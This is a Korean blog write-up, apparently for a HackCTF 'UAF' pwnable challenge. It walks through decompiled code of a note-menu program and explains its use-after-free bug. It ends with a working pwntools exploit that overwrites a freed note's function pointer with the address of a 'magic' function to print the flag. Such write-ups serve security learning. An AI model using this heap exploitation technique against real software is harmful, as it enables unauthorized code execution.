checksec
32bit
Canary발견
(pwntools 새로운 버전이 나왔다..업데이트 해야지..)
Pseudo Code
IDA 32bit 로 확인
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf; // [esp+8h] [ebp-10h]
unsigned int v5; // [esp+Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, &buf, 4u);
v3 = atoi(&buf);
if ( v3 != 2 )
break;
del_note();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
print_note();
}
else
{
if ( v3 == 4 )
exit(0);
LABEL_13:
puts(&byte_8048D08);
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
add_note();
}
}
}
int menu()
{
puts("----------------------");
puts(" U-A-F ");
puts(&byte_8048C48);
puts(asc_8048C70);
puts("----------------------");
puts(a1);
puts(a2);
puts(a3);
puts(a4);
puts("----------------------");
return printf(&byte_8048CFD);
}
unsigned int del_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= count )
{
puts(&byte_8048BE0);
_exit(0);
}
if ( notelist[v1] )
{
free(*((void **)notelist[v1] + 1));
free(notelist[v1]);
puts(&byte_8048BCE);
}
return __readgsdword(0x14u) ^ v3;
}
unsigned int print_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= count )
{
puts(&byte_8048BE0);
_exit(0);
}
if ( notelist[v1] )
(*(void (__cdecl **)(void *))notelist[v1])(notelist[v1]);
return __readgsdword(0x14u) ^ v3;
}
unsigned int add_note()
{
_DWORD *v0; // ebx
signed int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf; // [esp+14h] [ebp-14h]
unsigned int v5; // [esp+1Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
if ( count <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !notelist[i] )
{
notelist[i] = malloc(8u);
if ( !notelist[i] )
{
puts(aAllocate);
exit(-1);
}
*(_DWORD *)notelist[i] = print_note_content;
printf(&format);
read(0, &buf, 8u);
size = atoi(&buf);
v0 = notelist[i];
v0[1] = malloc(size);
if ( !*((_DWORD *)notelist[i] + 1) )
{
puts(aAllocate);
exit(-1);
}
printf(&byte_8048BC5);
read(0, *((void **)notelist[i] + 1), size);
puts(&byte_8048BCE);
++count;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}
첫 번째 malloc(): 메뉴에서 1번 메뉴(노트 추가)를 선택했을 때 호출: 8byte만큼 할당
두 번째 malloc(): notelist[i]을 하나의 변수(v0)로 생각했을 때 v0에 대한..? 메모리 할당(노트 크기를 입력받고 호출)
첫 번쨰 read(): 사이즈 입력 받음 >> 8 byte만큼씩 읽어들이도록 되어있다
두 번째 read(): 내용을 입력받음 >> size 만큼씩 읽어들이도록 되어있다
이후 gdb를 통해 확인해보면 한 번 1번 노트추가를 할 때마다 heap chunk가 2개씩 생기는 것을 알 수 있다.
함수 리스트를 확인해보니 magic이라는 아주 유용하게 쓰일 듯 한 함수가 있었다. 바로 flag를 출력하도록 하는 듯하다.
간단하게 생각하면,
1. 노트 추가 == malloc() ; 메모리 할당 및 데이터 쓰기
2. 노트 삭제 == free() ; 메모리 해제
실행
1. 노트 추가: 10byte 만큼의 메모리를 할당받고"hello"라는 데이터를 씀
1. 노트 추가: 30byte 만큼의 메모리를 할당받고 "byebyebye"라는 데이터 씀
2. 노트 삭제: 인덱스 0번을 선택해 10 byte의 메모리를 해제 → 0번 인덱스에 쓰인 주소의 메모리 해제
1. 노트 추가: 12byte 만큼의 메모리를 할당받고 "seeya"라는 데이터를 씀 → 0번 인덱스가 가리키는 주소가 할당받고 해제한 메모리를 할당받음
3. 노트 출력: 2번 인덱스를 선택했을 때 당연히 "seeya"라는 데이터가 출력됨
3. 노트 출력: 0번 인덱스를 선택했을 때도 "seeya"라는 데이터가 출력됨 ← 0번 인덱스에 저장된 주소의 메모리를 2번 인덱스가 할당받고 그 위치에 "seeya"라는 문자열을 쓴 것
>> 0번 인덱스를 통해 2번 인덱스의 내용에 접근 가능
Exploit
from pwn import *
from struct import *
#context.log_level = 'debug'
p = remote("ctf.j0n9hyun.xyz",3020)
elf = ELF("./uaf")
magic = elf.symbols['magic']
def add_note(size, data):
p.sendlineafter(" :", "1")
p.sendlineafter(" :", str(size))
p.sendlineafter(" :", data)
p.recv()
def del_note(index):
p.sendlineafter(" :", "2")
p.sendlineafter(" :", str(index))
p.recv()
def print_note(index):
p.sendlineafter(" :", "3")
p.sendlineafter(" :", str(index))
#gdb.attach(p)
add_note(0x100, "AAAA")
add_note(0x100, "BBBB")
del_note(0)
del_note(1)
#add_note("0x10", "CCCC")
add_note(0x80, p32(magic))
print_note(0)
p.interactive()
add_note와 del_note 후에 p.recv()까지 해줘야한다.
'System > PWNABLE' 카테고리의 다른 글
[LOB] gate → gremlin (2) | 2021.01.14 |
---|---|
[Dreamhack] house_of_force (0) | 2020.11.08 |
first (0) | 2020.09.06 |
[HackCTF] RTC (0) | 2020.08.23 |
baby1 (0) | 2020.08.23 |